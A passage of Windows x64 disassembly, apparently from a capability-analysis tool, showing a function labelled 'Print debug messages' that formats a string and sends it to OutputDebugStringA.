add rsp, 0x1070
pop r13
pop r12
pop rbp
ret
Function at 0x140004e20
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rdi
mov eax, 0x1858
call fcn.14000fe60
sub rsp, rax
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rsp + 0x1840], rax
mov rbx, rdx
mov qword [rsp + 0x30], 0
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x800
lea rdi, [rsp + 0x1880]
call sub.VCRUNTIME140.dll_memset
call fcn.14000dcb0
mov qword [rsp + 0x28], rdi
lea rdx, [rsp + 0x40]
mov r9, rbx
mov qword [rsp + 0x20], 0
mov r8d, 0x800
mov rcx, qword [rax]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___stdio_common_vsprintf_s]
xor edx, edx
lea rcx, [rsp + 0x840]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
lea r8, [rsp + 0x40]
lea rdx, str._e_e.tools___s_n
lea rcx, [rsp + 0x840]
call fcn.14000dd90
lea rcx, [rsp + 0x840]
call fcn.14000dcc0
lea rcx, [rsp + 0x840]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x1840]
xor rcx, rsp
call fcn.14000ec70
add rsp, 0x1858
pop rdi
pop rbx
ret